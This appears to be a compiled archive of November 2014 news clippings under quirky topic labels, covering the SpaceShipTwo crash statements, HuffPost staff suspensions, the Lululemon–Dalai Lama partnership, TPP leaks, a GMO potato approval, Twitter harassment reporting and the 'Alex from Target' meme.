CEO, Virgin Galactic and The Spaceship Company
04.11.14Over the past several days, we have received new information about the tragic incident that resulted in the death of Scaled Composites' co-pilot Michael Alsbury and injuries to pilot Peter Siebold. Our thoughts and prayers remain with the families and friends of these brave men. The following summarizes what has been learned from the formal investigation.
On October 31, 2014, SpaceShipTwo conducted a powered test flight and experienced a serious anomaly that resulted in vehicle failure. The National Transportation Safety Board (NTSB) is in charge of the investigation and we are cooperating fully with their work. While we cannot speculate on the causes of the incident, the NTSB has provided important information about the facts surrounding this case and in their final onsite press conference they described a timeline of events based on the telemetry data in their possession. The investigation will now continue offsite.
Based on information they have released about their investigation to date, the NTSB has recovered the intact engine and rocket propulsion fuel tanks with no signs of burn through or mid-air explosion. This definitively dismisses the premature and inaccurate speculation that the problem was related to the engine or the fuel.
The NTSB also evaluated the vehicle's feathering mechanism, which is the unique technology that turns the wing booms into position for re-entry. The NTSB indicated that the lock/unlock lever was pulled prematurely based on recorded speed at the time, and they have suggested that subsequent aerodynamic forces then deployed the feathering mechanism, which resulted in the in-flight separation of the wings and vehicle. At this time, the NTSB investigation is still ongoing and no cause has yet been determined '' these are purely facts based on initial findings. We are all determined to understand the cause of the accident and to learn all we can.
At Virgin Galactic, safety is our guiding principle and the North Star for all programmatic decisions. Our culture is one of prioritizing safety as the most important factor in every element of our work, and any suggestions to the contrary are untrue. We are committed to learning from this incident and ensuring something like this can never happen again. To that end, we will work closely with the NTSB and will focus intense effort on its findings and guidance.
For Virgin Galactic, everything rests on our vision of creating accessible and democratized space that will benefit humanity in countless ways for generations to come. Like early air or sea technologies, the development is not easy and comes with great risks, but our team of more than 400 dedicated engineers and technicians are committed to realizing the potential of this endeavor. From research, to travel, to innovation, we believe that the technology our industry is pioneering is crucial to the advancement of humanity.
Over the last few days, we have been so grateful for the outpouring of support and inspiration shared by countless Future Astronauts (customers), members of the space community and the public at large. Testing programs, reaching back to early aviation, have distinct risks, and our customers know that we will not move ahead with commercialized space travel until our expert engineers and pilots deem the program to be safe. These are among the brightest and most experienced professionals in the industry and our success has and will continue to be ensured by their expertise.
While this has been a tragic setback, we are moving forward and will do so deliberately and with determination. We are continuing to build the second SpaceShipTwo (serial number two), which is currently about 65% complete and we will continue to advance our mission over the coming weeks and months. With the guidance of the NTSB and the assurance of a safe path forward, we intend to move ahead with our testing program and have not lost sight of our mission to make space accessible for all. We owe it to all of those who have risked and given so much to stay the course and deliver on the promise of creating the first commercial spaceline.
02.11.14Over the past few days, there has been speculation about the tragic incident the resulted in the death of Scaled Composites' pilot, Michael Alsbury, injuries to pilot Peter Siebold and the loss of SpaceShipTwo. Our thoughts and prayers continue to be with the families and friends of these brave men.
We understand that everyone is anxious to understand what happened on Friday; certainly no one wants to know more than we do. However, as we have made clear, Virgin Galactic is not in a position to comment on the incident itself or the test flight. The National Transportation Safety Board (NTSB) is in charge of the investigation and we are cooperating fully with their work. All inquiries should be directed to them.
At Virgin Galactic, we are dedicated to opening the space frontier, while keeping safety as our 'North Star'. This has guided every decision we have made over the past decade, and any suggestion to the contrary is categorically untrue. We have the privilege to work with some of the best minds in the space industry, who have dedicated their lives to the development of technologies to enable the continued exploration of space. All of us at Virgin Galactic understand the importance of our mission and the significance of creating the first ever commercial spaceline. This is not a mission that anyone takes lightly.
Everything we do is to pursue the vision of accessible and democratized space '' and to do it safely. Just like early air or sea travel, it is hard and complicated, but we believe that a thriving commercial space industry will have far reaching benefits for humanity, technology and research for generations to come. This is an important mission and we have been overwhelmed and grateful for the outpouring of support we have received from our future astronauts, friends in the industry and people all over the world who are inspired by the work our industry is doing and who are urging us to continue.
Now is not the time for speculation. Now is the time to focus on all those affected by this tragic accident and to work with the experts at the NTSB, to get to the bottom of what happened on that tragic day, and to learn from it so that we can move forward safely with this important mission.
Press Contacts
Please direct all media requests about the investigation to the NTSB at eric.weiss@ntsb.gov.All media requests about Virgin Galactic should be directed to VirginGalacticPress@edelman.com.
31.10.14Virgin Galactic's partner Scaled Composites conducted a powered test flight of SpaceShipTwo earlier today. During the test, the vehicle suffered a serious anomaly resulting in the loss of the vehicle. The WhiteKnightTwo carrier aircraft landed safely.
The Virgin Galactic team is cooperating with our partners at Scaled Composites and the National Transportation Safety Board (NTSB) as well as local authorities. We understand that the NTSB is scheduled to arrive in Mojave tomorrow morning (Saturday Nov. 1) to commence their investigation, which is expected to last several days.
Local authorities have confirmed that one of the two Scaled Composites pilots died during the accident. The other pilot parachuted to the ground and is being treated at a local hospital. All of us at Virgin Galactic are deeply saddened by today's events. Our thoughts and prayers are with the families of all those affected by this accident.
George Whitesides, CEO of Virgin Galactic, provided the following statement:
''Our primary thoughts at this moment are with the crew and family, and we're doing everything we can for them now. I'd like to recognize the work of the first responders who we work with in the Antelope Valley for their efforts on behalf of the team. We're also thinking of the team members that we have at the companies that have been working on this program.
Space is hard and today was a tough day. We are going to be supporting the investigation as we figure out what happened today. We're going to get through it. The future rests in many ways on hard days like this, but we believe we owe it to the team, that has been working so hard on this endeavour, to understand this and to move forward. And that is what we'll do.''
Sir Richard Branson is on his way to Mojave and is expected to arrive by early Saturday morning.
We understand your interest in additional information. It is our understanding that there will be another press conference over the weekend at the Mojave Air & Space Port. We will post any logistical details as they become available, and we will provide another update from Virgin Galactic at that time in conjunction with the press briefing.
All press enquiries regarding todays test flight incident should be forwarded to: VirginGalacticPress@edelman.com.
Hooker Report
Softer Escort Prices Provide Context on U.S. Jobs: Opening Line - Bloomberg
Sat, 08 Nov 2014 23:25
It's jobs day, and we're not the only ones who think the number might be big. Of course, what we know about economics could fit in a thimble. We're not even sure sometimes when someone's referring to Fisher or Fischer.
So far this week, initial jobless claims came in less than forecast, the ADP employment figure was bigger than estimated, and Bloomberg's Consumer Comfort Index rose almost to a five-year high. Yet there are so many ways to slice up economic numbers that to us it often appears to be a push. Labor costs remained muted as productivity improved. If you're looking for some inflation, notably wage inflation, you're not finding much.
It must be difficult to find a good reading on wages. The gang out at SouthBay Research, and by gang we mean Andrew Zatlin, discovered some signs of wage inflation a couple weeks ago in the earnings report from Brinker International, the owner of restaurant chains Maggiano's and Chili's. In a research note yesterday, he wrote that employment growth this year has been concentrated mostly in minimum-wage jobs, where wage inflation is still spotty. One element we might deduce from Tuesday's election results is that the minimum wage is a growing issue because it's not growing enough, notably for those earners.
So you've got all these mixed signals out there, and what we could really use is a street-level view of the current wage environment. Zatlin does that, uh, literally, with his vice index. It includes prostitution, drugs, gambling and alcohol.
''In a sign of lower income and middle income consumer stress, some prostitutes are dropping prices,'' he wrote. ''It is selective and limited in scope: mainly low-tier and mid-tier escorts. High-end escort prices are holding up.''
He was a little fuzzy, when he called us from -- where else? -- Las Vegas, about how he collects the data, but evidently it's the Internet at work. (If there's a Mrs. Zatlin, we hope she's not nosing around his browsing history.)
Zatlin's expecting a boffo number -- 249,000 total, 244,000 on private payrolls, yet cautions that today could be one of those jobs days when the number comes in completely, completely unexpected. Like, way lower.
''I'm scared,'' he says. ''You've got all this data. 'Oh, jobless claims are low.' All the forecasters are all in a tight range and this is exactly when they (the Bureau of Labor Statistics) broadside you'' with a report showing 80,000 jobs, he says.
For the record, the median estimate had been 225,000 for a long time and has recently just crept up to 235,000. (Turns out the forecasts were just about on target. Nonfarm payrolls increased by less than forecast 214,00 while October payrolls were revised upward.)
As for the wage inflation, it's still a way off.
''Tomorrow the market wants to see wage inflation,'' Zatlin says. ''Any whiff of it is going to be distorted and overdone. If we do see it, so what? Does that mean the Fed's going to move sooner? Right now, if we've got overall low inflation on the horizon -- that's what we have, low inflation -- how can the Fed raise interest rates? It's wishful thinking.''
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U.S. economic indicators today are the monthly jobs report at 8:30 a.m. EST and consumer credit at 3 p.m.
Today's U.S. earnings before market open include Humana and Zayo, its first report since going public. Berkshire Hathaway is expected to report after the bell.
In Germany, September industrial production rose 1.4 percent, less than forecasts for 2 percent.
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- Same-sex marriage bans in four states upheld by federal appeals court. - Steven Rhodes, U.S. bankruptcy judge, announces whether Detroit can proceed with its $78 billion debt-cutting plan. The decision is expected at 2 p.m. EST. - The Bank of France holds a conference on the legacy of the 2008 crisis and central banking. Speakers include Janet Yellen, BOE's Mark Carney, and Haruhiko Kuroda, the BOJ governor. - APEC trade and foreign-affairs ministers meet in Beijing to discuss economic growth. - Vitor Constancio, ECB vice president, speaks at the Seventh Annual International Banking Conference in Chicago, hosted by the Chicago Fed and the BOE, at 5 p.m. EST. - Pepsi President Zein Abdalla announces retirement. - Eaton Vance ETF with undisclosed holdings approved by SEC, WSJ reports. - U.S. denies attempt at exile for Yemen's Saleh. - Soldiers' exposure to chemical weapons broader than first known, NYT reports. - The Kremlin is ''bewildered'' by U.S. money laundering allegations. - Meet the whistle-blower behind JPMorgan Chase's U.S. settlement. - Apple detects a new malware aimed at thousands of China users. - Takata knew of, tested air-bag risks four years before first public filing about them, NYT reports. - AC/DC drummer's contract-murder charges dropped. - Jihadists take cruise ships to join the fights. - Libyan parliament invalidated by supreme court. - Pennsylvania's ousted governor turns tail on Paterno firing he brought about. - A star is born. Well, planet, actually. - Australian cameraman thinks he's got the story, then becomes the story. - Wait times for veterans at VA facilities are declining. - Three arrested in possession of drones near French nuclear plant. - Tobacco is bad for you, no matter what form it takes. - ''You have to go in head first.''
***
Twenty-five years ago this weekend, our better angels could ponder whether an epoch of world harmony had begun.
If you're of a certain age, as we are, you remember the bewilderment and joy of watching televised images of East Germans and West Germans mingling on both sides of the Berlin Wall, which had long meant so much and which suddenly was irrelevant. It was Nov. 9, 1989, and Europe's Iron Curtain had fallen. What would come next?
The ''euro-euphoria'' didn't last long, James G. Neuger writes in reviewing the ensuing quarter-century, which could hardly be called harmonious.
Any remnant of Europe's post-Cold War euphoria surely was erased by its debt crisis, or by Vladimir Putin's assault on Ukraine's sovereign borders.
Neuger quotes a former head of the European Defence Agency as saying that the ''international liberal order,'' which seemed to be ascendant in 1989, these days isn't ''riding the wheel of history any more than communism was.''
Helping to confound the situation is the news that Mikhail Gorbachev, a hero to the West since the Soviet Union's collapse, plans to defend Putin at Berlin Wall ceremonies this weekend.
Like family reunions, anniversaries of milestone events can have a great deal of unease just beneath the happiness.
***
Remember when the four-letter I-word that represented our gravest external threat was Iran?
That seems like a bygone era, before ISIS/ISIL inserted itself into our bad dreams. Still, Iran and its nuclear program haven't gone away, and the timeout that let us move on to other worries is about to expire.
As Indira A.R. Lakshmanan and Kambiz Foroohar report today, with just 17 days until a Nov. 24 deadline, ''there's still no agreement on fundamental questions including the scope of Iran's enrichment program, the plan for lifting sanctions, and the duration of a deal to keep Iran's nuclear program under outside inspections and safeguards.''
We learned yesterday that President Obama -- who, to put it mildly, could use a triumph right about now -- wrote to Ayatollah Ali Khamenei seeking an agreement that would allow a joint fight against Islamic State militants in Iraq and Syria. The Wall Street Journal said it was at least the fourth letter Obama has sent as president to Khamenei, who doesn't seem to have been briefed on the responsibilities of a pen pal.
It's hard to imagine the two sides bridging their chasm in less than three weeks. Iran continues to insist its nuclear program is for energy and medical research only; the U.S. and its allies remain, shall we say, unconvinced.
As for the prospect of a united front against Islamic State -- the carrot dangled by Obama in his Dear Ayatollah letter -- the Journal points out that Khamenei, in a speech last month, said the U.S. and its allies ''created'' al Qaeda and Islamic State so that it could ''fight against the Islamic Republic.''
Sounds like some basic friendship-building might be in order, and fast. Is Khamenei on Ello?
***
There's a line in ''The Big Chill'' that, for us, is the moment (still) when the lump rises in the throat and the room starts to get dusty. It's during the funeral, when the minister is eulogizing the college roommate whose suicide brings the gang back together for the weekend that becomes the movie's scenario.
''Where did Alex's hope go?'' the minister wonders.
We saw the movie in its first run, because that's how you watched movies back in 1983 -- in a theater. It was a period in our nascent adulthood when hope was similarly in short supply, and that's why the floodgates opened. We saw ourselves in that pine box if things didn't change soon -- or, more appropriately, if we didn't change them.
There's no accounting for the hands we're dealt, for what the Fates have in mind, and they really don't matter anyway. We've known scions of Philadelphia who let it all slip through their fingers on the way to early graves, and we've known ragamuffins from the wrong side of the tracks who would make Horatio Alger blush.
Yours truly lucked into remarkable fortune after a time many years ago when the breaks were going the other way, when sometimes a dollar a day was shared with a couple old dogs who also needed to be fed. A lot of that difficulty was self-made.
So we can identify with Kristoph Pydynkowski, whose story is so beautifully rendered today by Tom Moroney in his ''A Day's Work'' feature. Can you?
***
The next installment in the ''Star Wars'' saga has a title, and the Internet is not pleased. Within an hour after Disney released the title, ''Star Wars: The Force Awakens,'' the electronic chatterbox had vomited. Twitter quickly responded with the trending hashtag #rejectedstarwarstitles: - @owenhants: Episode 7: Sith Just Got Real #rejectedstarwarstitles - @CarrieJKeenan: Gone with the Windu #rejectedstarwarstitles - @chelsmeach: Star Wars VII: Mr. Sith goes to Yavin #rejectedstarwarstitles - @dloehr: Star Wars: The Force Awakens, Shakes It Off, Takes a Pill, Looks in the Mirror, Slaps Its Face, Says ''Showtime'' #rejectedstarwarstitles
Ouch.
What were people expecting? Is ''Return of the Jedi'' or ''A New Hope'' really more sophisticated? Someone spent night after night brainstorming in a stuffy Lucasfilms studio basement, enduring hours of staring at Chewbacca and Jabba the Hutt to come up with a name, and this is how Star Wars fans repay them?
''The Force Awakens'' isn't the only victim of online hate. It's the sad fate of a highly anticipated movie. When Warner Bros. named Ben Affleck as the next Batman, a Change.org petition quickly surfaced. According to the petition, Affleck was ''not intimidating enough for the role of Batman.'' The petition has almost 100,000 signatures. Because this is the kind of reform Change.org had in mind at its inception.
A passionate online reaction scared off Charlie Hunnam from playing the lead in ''Fifty Shades of Grey.'' ''He's no Ryan Gosling,'' the Internet decreed. Tolkien readers were equally dismayed when director Peter Jackson broke ''The Hobbit'' into three movies.
No matter what filmmakers decide, the Internet isn't going to pleased. Because so many people have the ability to voice their opinion, the online community erupts with cynicism. What happened to the good old days when we waited until a movie's release to bash it?
***
In ''Interstellar,'' evidently (from the trailers; we watched three of them) Earth is dying somehow. It ran out of food, or something, even though all three trailers show Matthew McConaughey plowing down fields of corn in his pickup. But there are a lot of dust storms, so maybe the corn's too dusty to eat.
There's some eco-politics that ooze out from what we saw -- McConaughey, a former astronaut now kicking around in a ratty old barn jacket -- gets summoned to his daughter's school because the kid brought an old textbook of his to class. It purports to suggest men actually landed on the moon, instead of the school's current curriculum teaching that it was all a hoax to bankrupt Russia. It's important, the teacher says, because they need to teach kids to save the planet.
Not according to Michael Caine, who plays McConaughey's old professor or NASA launch director or something: ''We're not meant to save the world, we're meant to leave it.''
So McConaughey has to navigate these competing dogmas and then navigate a spaceship with Anne Hathaway to find the habitable planet someone thinks they found. Really, you're fleeing the planet and take Anne Hathaway WITH YOU? (Kidding. Opening Line is pro-Anne Hathaway.)
Anyway, is this starting to get stupid or what? Not stupid enough yet? Here, have another line from the movie: ''You might have to decide between seeing your children again and the future of the human race.''
No? OK, this one: ''Love is the one thing that transcends time and space.''
Oy vey is right.
It's a Christopher Nolan movie, and he did all those Batman movies so everyone's, like, ''Ooh, it's a Christopher Nolan movie,'' not, ''Ooh, this looks like a studio nakedly capitalizing on the success of 'Gravity,''' which we are.
To contact the reporters on this story: C. Thompson in Wilmington at cthompson1@bloomberg.net; Laurence Arnold in Washington at larnold4@bloomberg.net
To contact the editor responsible for this story: Marty Schenker at mschenker@bloomberg.net
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Ministry of Truth
HuffPost defends disciplinary actions against reporters, editors | Capital New York
Sun, 09 Nov 2014 14:46
The Huffington Post's newsroom is on edge following recent incidents in which several employees were disciplined and a major story was put on pause.
Two of the incidents involved journalists who were suspended after publishing sensitive articles. The other pertains to a deeply reported investigative piece that was was being prepped for publication when the site's co-founder and editor-in-chief, Arianna Huffington, stepped in with objections to certain aspects of the reporting, sources familiar with the matter told Capital.
These events have unfolded as The Huffington Post is adjusting to a new team of senior newsroom leaders that's been putting its stamp on the nine-year-old website, which delivers a mix of high-volume aggregation and original reporting. The Huffington Post, which is owned by AOL, has been chasing profitability in 2014 following several years of major investment.
Earlier this week, a reporter, an editor and a copy editor were suspended over a story they'd worked on highlighting criticisms of a financial partnership between The Dalai Lama Center for Peace and Education and the activewear retailer Lululemon.
MORE ON CAPITALADVERTISEMENTThere were no errors, fabrications or plagiarized quotes in the story, but a version originally published on Saturday relied primarily on critical anonymously posted comments appearing on the Lululemon website. (The quotations taken from those comments have been removed from the Huffington Post article, according to an editor's note attached to the piece.)
Several months earlier, in August, a junior-level writer and an editor were suspended after publishing an aggregated article about plagiarism accusations leveled against CNN's Fareed Zakaria.
The article compiled reporting from other outlets but did not include original reporting. More than seven hours after it was first published, the post was updated with a response that Zakaria had given to POLITICO. The issue in this case was that the writer did not reach out to Zakaria for comment.
There are concerns within the newsroom, according to sources across the organization, that the suspensions were inappropriate and that punitive actions were taken only after Huffington received complaints from a Dalai Lama Center representative and from Zakaria. In an interview with Capital, Huffington denied that she received complaints from either. She said the suspensions amounted to one day with pay, that they were decided upon by a group of four senior editors and that they were necessary because the articles did not meet The Huffington Post's general editorial standards.
Meanwhile, a 20,000-word investigative story on heroin addiction and opiate treatment by Jason Cherkis that questions the abstinence-only approach of 12-step programs has come under scrutiny.
Huffington's daughter, Christina, is a recovering cocaine addict who received treatment through a 12-step program, and several sources said Huffington objected to the portrayal of 12-step programs in the piece.
Huffington denied this, telling Capital in an interview, "It has nothing to do with my personal experience with my daughter."
She said the piece has not been killed and that it is being put through "an incredibly rigorous editing process" because there were aspects of the story that gave her pause. Washington bureau chief Ryan Grim called the feature "masterfully reported."
Huffington also emphasized that she is, after all, the editor-in-chief, and that it is part of her job to exercise control over the content of the site and preside over disciplinary measures.
Thursday evening, a company P.R. representative provided a statement co-signed by the four editors who handed down the suspensions:
The Huffington Post has in place rigorous editorial policies and standards that we expect all editors, reporters and newsroom staff to follow. If they do not, senior editors take appropriate action on a case-by-case basis to ensure that we maintain the highest level of journalistic integrity.
As editor-in-chief, Arianna is deeply involved in day-to-day operations '' from setting the tone of our coverage to upholding the quality of our sourcing. Arianna has always emphasized the importance of such standards at HuffPost, and entrusts the senior edit team to implement and reinforce them at every level.
John Montorio, Executive Features Editor
Katie Nelson, National Editor
Danny Shea, Executive Producer, Special Projects
Whitney Snyder, Executive News Editor
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Lululemon Partners With Dalai Lama, Enrages Critics
Sun, 09 Nov 2014 14:47
A woman walks past the Lululemon Athletica store at Union Square in New York. (AP Photo/Mary Altaffer, File) | ASSOCIATED PRESS
Lululemon can't even donate to charity without miring itself in controversy.
The yoga-wear retailer this week announced a partnership with the Dalai Lama Center for Peace and Education, and the move has some consumers upset. Lululemon said in a press release that it will contribute $750,000 to the Tibetan spiritual leader's nonprofit organization over the next three years to expand education initiatives and for "researching the connection between mind-body-heart." The company cited "a common vision for developing the next generation of compassionate leaders in the world" and said that both "are committed to engaging and empowering healthy communities."
But a mob flocked to Lululemon's official blog after the announcement, lighting up the comments section with objections to the partnership, suggesting that the Dalai Lama's name shouldn't be associated with a money-making enterprise. Others complained he's been "hijacked" and turned into a mere corporate marketing tool. Popular women's media website Jezebel suggested that the donation "seems more like penance" by the clothing line for previous PR blunders.
Among the company's missteps: Last spring, quality control issues sparked a recall of too-sheer yoga pants. Then, last fall, co-founder Chip Wilson irked many customers when he said Lululemon's pants "don't work" for some women's bodies. Earlier this month, Lululemon managed to offend the entire city of Buffalo, New York, by making fun of its NFL team.
In a statement posted Saturday on its website, the Dalai Lama Center's chairman Geoff Plant said, "Our recently announced partnership with lululemon athletica is a wonderful example of how alignment of our visions can engage and empower healthy communities. This generous donation will support a variety of initiatives '' all rooted in scientific research on heart-mind-body '' allowing us to expand our work globally." He added, "The Dalai Lama's Office was not involved in the donation and was unaware of the arrangement."
Note: This article has been revised throughout from its original version to remove anonymous quotations sourced from the Lululemon website.
Chiner$
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World Pole Dance Championship in China lowers the curtain - People's Daily Online
Sat, 08 Nov 2014 23:10
The 8th World Pole Dance Championship was held in Beijing Fenglan International Theater, Oct. 29, 2014. Contestants from China, Russia, Canada, Australia, Malaysia, South Korea, Japan, and Hong Kong participated in the contest. Ms. Symone, an international level pole dancing judge and a professional pole dancer, was the main judge for the championship. (Chinanews/Jin Shuo)
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Exclusive: U.S. eyes China partnership on Africa power - sources | Reuters
Sun, 09 Nov 2014 02:47
By Joe Brock
JOHANNESBURGFri Nov 7, 2014 10:41am EST
U.S. Secretary of State John Kerry (L) and Chinese Foreign Minister Wang Yi meet on the sidelines of the Asia-Pacific Economic Cooperation (APEC) meeting in Beijing November 7, 2014.
Credit: Reuters/Nicholas Kamm/Pool
JOHANNESBURG (Reuters) - The United States is considering partnering with China on improving electricity in Africa and the proposal could be part of bilateral discussions when President Barack Obama visits Beijing next week, two sources involved told Reuters.
The proposal could include $5-$7 billion of commitments to improve electricity generation and transmission in several African countries, one source involved in the initiative said.
"Plans have been discussed and outline ideas drawn up but there are understandably nerves given the delicate relationship with China," one of the sources said. The source was unable to provide details on specific countries or projects.
The 48 countries of sub-Saharan Africa, with a combined population of 800 million, produce roughly the same amount of power as Spain, a country of just 46 million.
The shortage imposes a massive burden on economies in the continent, constraining growth and leading to hundreds of millions of people remaining mired in poverty.
U.S. collaboration with China would mark a significant shift in diplomacy between Washington and Beijing after long-running disputes over foreign policy, security, espionage and alleged human rights abuses.
China's policies in Africa have also been described by some African leaders as "neo-colonial" - lending money to impoverished states to secure natural resources and support state-owned Chinese construction companies.
Obama is due to arrive in Beijing on Monday to attend the Asia-Pacific Economic Cooperation (APEC) summit and is expected to meet China's President Xi Jinping for dinner on Tuesday night and again for more formal talks on Wednesday.
"We are working on a whole variety of outcomes in which the United States and China would be cooperating in very practical and tangible ways, but we've got to wait for the President to announce them," a senior U.S. official told Reuters when asked about Africa power collaboration.
"Everything is under negotiation at this point so I am not going to talk about what's on the table," he added.
China's foreign ministry did not respond to a request for comment.
"POWER AFRICA"
Obama, America's first black president whose late father was Kenyan, has made improving electricity in Africa his flagship policy on the continent.
U.S. companies, including General Electric, have pledged around $14 billion for projects as part of his ambitious "Power Africa" program aimed at boosting electricity generation across the continent.
China first approached the United States last year about partnering over the Inga dam project in the Democratic Republic of Congo but the United States was not keen on working on a venture that has suffered long delays and spiraling costs, the sources said.
Large-scale hydropower dam projects also don't meet with a U.S. focus on renewable energy.
U.S. Secretary of State John Kerry hinted this week that discussions during the APEC conference to conclude a Trans-Pacific Partnership (TPP) would involve energy agreements in other parts of the world.
"The TPP is not only a trade agreement but also a strategic opportunity for the United States and other Pacific nations to come together, to bind together," Kerry said in a speech in Washington on Tuesday.
"Second, powering a clean energy revolution will help us address climate change while simultaneously jump-starting economies around the world," Kerry added.
(Additional reporting by Matt Spetalnick and Jason Szep in Washington and Ben Blanchard in Beijing; Editing by Ed Cropley and Toby Chopra)
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NWO
New leaked TPP chapter published by WikiLeaks | Green Left Weekly
Sun, 09 Nov 2014 14:43
Sunday, November 9, 2014
Despite the wide-ranging effects on the global population, the TPP is being negotiated in total secrecy by 12 countries. Cartoon from WikiLeaks.org.
The statement below was released by WikiLeaks on October 16 after it published a second leaked chapter from the proposed TransPacific Partnership trade deal.
The TPP is being negotiated behind closed doors by the United States, Japan, Mexico, Canada, Australia, Malaysia, Chile, Singapore, Peru, Vietnam, New Zealand and Brunei.
***
WikiLeaks has released a second updated version of the Trans-Pacific Partnership (TPP) Intellectual Property Rights Chapter. The TPP is the world's largest economic trade agreement that will, if it comes into force, encompass more than 40% of the world's GDP.
The IP chapter covers topics from pharmaceuticals, patent registrations and copyright issues to digital rights. Experts say it will affect freedom of information, civil liberties and access to medicines globally.
The WikiLeaks release comes ahead of a chief negotiators' meeting in Canberra on October 19, which is followed by what is meant to be a decisive ministerial meeting in Sydney on October 25-27.
Despite the wide-ranging effects on the global population, the TPP is being negotiated in total secrecy by 12 countries. Few people, even within the negotiating countries' governments, have access to the full text of the draft agreement and the public, who it will affect most, none at all.
Large corporations, however, are able to see portions of the text. This generates a powerful lobby to effect changes on behalf of these groups and reducing the force of developing country members, while the public at large gets no say.
Julian Assange, WikiLeaks' editor-in-chief, said: ''The selective secrecy surrounding the TPP negotiations, which has let in a few cashed-up megacorps but excluded everyone else, reveals a telling fear of public scrutiny.
''By publishing this text we allow the public to engage in issues that will have such a fundamental impact on their lives.''
The 77-page, 30,000-word document is a working document from the negotiations in Ho Chi Minh City, Vietnam, dated May 16, and includes negotiator's notes and all country positions from that period in bracketed text.
Although there have been a couple of extra rounds of talks since this text, little has changed in them. It is clear negotiations are stalling and the issues raised in this document will be on the table in the Australia meetings
The last time the public got access to the TPP IP chapter draft text was in November last year when WikiLeaks published the bracketed text from August 30. Since that point, some controversial and damaging areas have had little change; issues surrounding digital rights have moved little.
However, there are significant industry-favouring additions within the areas of pharmaceuticals and patents. These additions are likely to affect access to important medicines such as cancer drugs. They will also weaken needed requirements to patent genes in plants, which will impact small farmers and boost the dominance of large agricultural corporations such as Monsanto.
Nevertheless, some areas that were highlighted after WikiLeaks' last IP chapter release have involved alterations that reflect the controversy; surgical method patents have been removed from the text.
Doctors' groups said this was vitally important for allowing doctors to engage in medical procedures without fear of a lawsuit for providing the best care for their patients. Opposition is growing to remove the provision proposed by the US and Japan that would require granting of patents for new drugs that are slightly altered from a previous patented one (evergreening), a technique by the pharmaceutical industry to prolong market monopoly.
The new WikiLeaks release of the May TPP IP text also includes previously unseen addendums, including a new proposal for different treatment for developing countries, with varying transition periods for the text to take force.
While this can be viewed as a bid to ease the onus of this harsh treaty on these countries, our diplomatic sources say it is a stalling tactic. The negative proposals within the agreement would still have to come into force in those countries, while the governments that brought them in would have changed.
Despite the US wanting to push to a resolution within the TPP last year, this bracketed text shows there is still huge opposition and disagreement throughout the text. At this critical moment the negotiations have now stalled, and developing countries are giving greater resistance.
Despite the huge lobbying efforts, and many favourable proposals for big pharmaceutical companies, they are not getting entirely what they wish for either.
Assange said: ''The lack of movement within the TPP IP Chapter shows that this only stands to harm people, and no one is satisfied. This clearly demonstrates that such an all-encompassing and divisive trade agreement is too damaging to be brought into force. The TPP should stop now.''
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GMO
U.S.D.A. Approves Modified Potato. Next Up: French Fry Fans
Sun, 09 Nov 2014 02:58
>>A potato genetically engineered to reduce the amounts of a potentially harmful ingredient in French fries and potato chips has been approved for commercial planting, the Department of Agriculture announced on Friday.
The potato's DNA has been altered so that less of a chemical called acrylamide, which is suspected of causing cancer in people, is produced when the potato is fried.
The new potato also resists bruising, a characteristic long sought by potato growers and processors for financial reasons. Potatoes bruised during harvesting, shipping or storage can lose value or become unusable.
The biotech tubers were developed by the J. R. Simplot Company, a privately held company based in Boise, Idaho, which was the initial supplier of frozen French fries to McDonald's in the 1960s and is still a major supplier. The company's founder, Mr. Simplot, who died in 2008, became a billionaire.
War on Twitter
Women On Twitter Can Now Fill Out A Form To Report Online Harassment
Fri, 07 Nov 2014 07:39
1. Women online are frequently attacked in the form of sexual harassment, verbal abuse, threats, and stalking.
According a Pew study, 25% of young women have been sexually harassed online and 26% experienced stalking. Women are disproportionately targeted by the most severe forms of abuse.
14. Women can now report their online harassment thanks to an ''unprecedented collaboration'' between Twitter and Woman, Action and The Media (WAM!), a nonprofit dedicated to gender justice in the media.The pilot project will support all Twitter users experiencing gendered harassment and abuse on the platform, including racial, LGBT, and other kinds of oppression, WAM! announced in a press release Thursday.
16. WAM! will pass along verified complaints to Twitter within 24 hours and track their response to different gendered harassment.After the pilot test, WAM! will analyze the data and use it to work with Twitter ''to better understand how gendered harassment intersects with other types of harassment, how those attacks function on their platform, and to improve Twitter's responses to it.''
''The disproportionate targeting of women online results in them removing their voices from the public conversation,'' Jaclyn Friedman, Executive Director of WAM!, said in a statement. ''We're so glad that Twitter recognizes that the best way to ensure equally free speech for all users on their platform is to ensure that all users are equally free to speak without being targeted by harassment, abuse and threats.''
ISND
Overnight Teen Idol 'Alex from Target' Was a Fake Corporate Meme'--That's Not Viral, It's Offensive | Alternet
Fri, 07 Nov 2014 06:57
Cynical corporate marketers try to tap the energy of the Internet.
Photo Credit: via YouTube
November 6, 2014 |
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I get annoyed when people scoff at stuff that's meant ''for teenage girls'' '' young adult novels, for instance, are great, and ''teenage girl'' culture is surely no dumber than a lot of the stuff that's marketed to grown men. But I confess I am totally uninterested in mop-topped, Bieber-esque teen dreamboats. So the ''Alex from Target'' meme was entirely off my radar until Tuesday afternoon, when a marketer tried to take credit for instigating yet another viral phenomenon. This upset a lot of people. It appears we don't like it when companies try to approximate the self-replicating, emergent energy of the internet from the top-down, instead of the bottom-up.
If Alex was off your radar too, the short version is: On Sunday, a tweeter found a picture on Tumblr, of a One Directiony-looking young man working the checkout at a Target department store. The people who usually like One Directiony-looking young men '' namely One Direction fans, a weirdly and wildly powerful social-media demographic composed mainly of teen and tween girls '' picked up the image and drove it to the type of success that now accompanies viral hits. There were the copycat photos, the fan fiction, the tearful tweets of love and hate.
Then, on Tuesday, some entertainment company called Breakr said it had orchestrated the whole thing for reasons not immediately apparent. Among my demographic '' cynical, hunk-neutral adults '' the eye-rolling, the disgust and the frustrated announcements that everything on the internet is a lie spread almost as furiously as Alex's picture had spread amongst the tweens.
We've seen the appalling fake meme happen before '' see, for instance, the role of marketing companies in the thankfully-vanished ''Harlem Shake'' fad. And even when, as with the Harlem Shake, the thing itself is annoying as all balls, we tend to be even more irritated '' even betrayed '' at the news that the would-be phenom is actually the hideous progeny of corporate interests.
I don't think corporations really understand how the creative power of the internet works '' or at least which direction it runs. Memes are grassroots, organic, democratic '' they bubble up from a community and become its linchpins. Marketing, by contrast, is imposed, unnatural, manipulated. Memes are handed around from person to person; marketing is handed down to people by companies. Trying to replace the former with the latter is irritating to users and, frankly, embarrassing for brands.
I'm a literate person with a functioning moral compass; obviously I think Richard Dawkins is a dillhole. But the original concept of a ''meme'' is not bullshit; it comes from Pre-Bullshit Dawkins in his Pre-Bullshit Days. The defining characteristic of a meme is that it acts like a gene, but for ideas. Memes are the DNA of culture. Internetmemes are the DNA of the internet.
